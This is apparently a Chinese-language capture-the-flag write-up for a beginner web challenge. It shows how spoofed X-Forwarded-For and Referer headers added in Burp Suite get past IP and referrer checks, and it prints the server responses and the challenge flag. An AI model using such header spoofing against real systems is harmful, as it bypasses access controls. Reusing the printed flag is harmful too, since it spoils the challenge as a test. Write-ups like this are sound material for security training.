题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0&page=1
在burpsuit中添加请求头:X-Forwarded-For: 123.123.123.123
返回
HTTP/1.1 200 OK
Date: Sat, 25 Dec 2021 11:30:19 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 525
Connection: close
Content-Type: text/html
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<p id="demo">ip地址必须为123.123.123.123</p>
<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script></body>
</html>
在burpsuit中添加请求头:Referer: https://www.google.com
HTTP/1.1 200 OK
Date: Sat, 25 Dec 2021 11:42:05 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 631
Connection: close
Content-Type: text/html
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<p id="demo">ip地址必须为123.123.123.123</p>
<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script><script>document.getElementById("demo").innerHTML="cyberpeace{2c46b79f9949357cf5dbe33e5a44b50b}";</script></body>
</html>
得到flag:cyberpeace{2c46b79f9949357cf5dbe33e5a44b50b}